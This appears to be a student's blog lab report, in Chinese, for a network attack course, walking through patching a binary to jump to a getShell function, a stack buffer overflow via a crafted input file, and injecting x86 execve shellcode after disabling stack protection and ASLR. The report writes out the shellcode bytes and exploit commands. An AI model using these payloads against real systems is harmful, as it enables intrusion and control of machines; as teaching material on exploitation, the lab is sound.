• 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3 20165233


    Exp1 PC平台逆向破解

    实验内容

    一、基础知识点

    NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • NOP指令即“空指令”,执行到NOP指令时,CPU什么也不做,机器码是90;

    • JNE即条件转移指令,如果不相等则跳转,机器码是75;

    • JE即条件转移指令,如果相等则跳转,机器码是74;

    • JMP即无条件转移指令。段内直接短转Jmp short,机器码是EB; 段内直接近转移Jmp near,机器码是E9; 段内间接转移 Jmp word,机器码是FF; 段间直接(远)转移Jmp far,机器码是EA;

    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。

    二、实验步骤

    实验点一:直接修改程序机器指令,改变程序执行流程

    • 使用objdump -d pwn5233 | morepwn5233进行反汇编,来查看汇编代码。

    • 通过汇编代码可知,main函数会调用foo函数,且foo函数的首地址为0x08048491。为了实现直接跳转到getShell函数的目的,则需将此处地址修改为getShell函数的首地址0x0804847d

    • 分析完方法之后,实施修改。利用vi pwn5233打开pwn5233对其进行编辑。首先通过:%!xxd将其转化为十六进制数,方便进行修改。

    • 通过/e8 d7即可筛选至修改位置。

    • 先按回车键,再按r进行替换修改。通过计算得知getShell函数的首地址对应的十六进制后两位是c3。修改完成后按esc,再通过:%!xxd -r将文件变回原本的格式,最后:wq进行保存退出。文件修改完毕。

    • 输入./pwn5233运行修改后的文件,可以得到shell提示符。

    实验点二:通过构造输入参数,造成BOF攻击,改变程序执行流

    • 使用gdb对pwn5233_2进行调试,测试会产生溢出的参数大小,从而确认输入字符串哪几个字符会覆盖到返回地址。

    • 当输入字符串很长时,gdb提示段错误,此时说明由于字符串的一部分覆盖到了返回地址,因此foo函数返回到对应的地址时,地址不存在,所以报错。

    • 如果输入1111111122222222333333334444444412345678时,段错误返回地址是0x34333231,即4321对应的ASCII码,所以说明该部分对应返回地址的位置。所以分析可得,只要用getShell函数的返回地址替代,就可以跳转到getShell函数,pwn5233_2就会运行getShell。

    • 由于是小端字节序,所以输入时,应注意地址字段的顺序。perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input构造input输入文件。通过xxd input查看文件是否是想要的字符串。

    • (cat input; cat) | ./pwn1将构造好的字符串输入给pwn5233_2。此时BOF攻击成功。

    实验点三:注入Shellcode并执行

    • 使用apt-get install execstack命令安装execstack

    • 使用如下指令进行配置:
    execstack -s pwn1
    
    execstack -q pwn1
    
    more /proc/sys/kernel/randomize_va_space
    
    echo "0" > /proc/sys/kernel/randomize_va_space
    
    more /proc/sys/kernel/randomize_va_space
    

    配置过程如下图所示:

    • 使用perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode进行注入,前面通过32个A来填满缓冲区buf,x04x03x02x01为返回地址处预留,之后对其进行修改。下面来寻找这个返回地址。

    • (cat input_shellcode;cat) | ./pwn5233_2输入一个终端,按回车后,等待。

    • 重新打开另一个终端

      • ps -ef | grep pwn5233_2查看端口号。

      • 进入gdb进行调试,attach 2638

    • disassemble foo进行反汇编,通过设置断点,来查看注入buf的内存地址。此时可知返回地址为0x080484ae,在此处break *0x080484ae设置断点。

    • c继续执行,此时回到第一个终端,敲击回车继续执行。再返回第二个终端,通过info r esp查找返回地址为0xffffd2ec

    • x/16x 0xffffd2ec查看其存放的内容,由图可知0x01020304为返回地址存放的位置。根据构造的shellcode可知,shellcode的地址就在这之后,为0xffffd2f0

    • 回到第一个终端,再次输入(cat input_shellcode;cat) | ./pwn5233_2,攻击成功。

    实验中遇到的问题

    1、运行pwn5233时告诉我许可被拒绝?

    • 更改权限chmod +x pwn5233即可解决。

    2、最后一个构造shellcode的实验中,攻击成功后,我通过mkdir mushroom.txt新建了一个文本文件成功,但是无法删除?

    • 目前这个问题还木太会解决。

    实验收获与感想

    本次实验过程中,对于整个原理比较清楚的理解了。通过分析返回地址的位置,从而将要跳转的getshell函数或者是要注入的shellcode的返回地址都成功替换,并且跳转。在实验过程中,遇到一些小问题,比如文件执行权限不够的问题,也能够通过以前学过的知识很快的解决。但是这次实验的不足之处是:如果通过自己独立写出shellcode恐怕就很有难度了。实验内容完全映射到老师上课讲解的内容,利用老师的那个栈的图,结合实验,也更加清楚的掌握了BOF攻击的过程。

    什么是漏洞?漏洞有什么危害?

    漏洞就是在硬件、软件等方面存在安全伤的缺陷,很容易受到恶意攻击的入口。漏洞的危害:由于受到恶意攻击从而导致信息、数据、机密等的丢失;使用户的计算机等设备上的数据进行恶意篡改,无法正常使用设备。

  • 相关阅读:
    C#基础篇十小练习
    C#基础篇九OOP属性结构枚举
    C#基础篇八构造函数和面向对象思想
    C#基础篇七类和静态成员
    C#基础篇六飞行棋
    C#基础篇五值类型和引用类型
    数据与地址的自动给定---基于状态机
    SPI 核的寄存器空间
    mig_7series DDR控制器的配置
    关于zynq7 中MIO的理解
  • 原文地址:https://www.cnblogs.com/minchan0624/p/10521794.html
Copyright © 2020-2023  润新知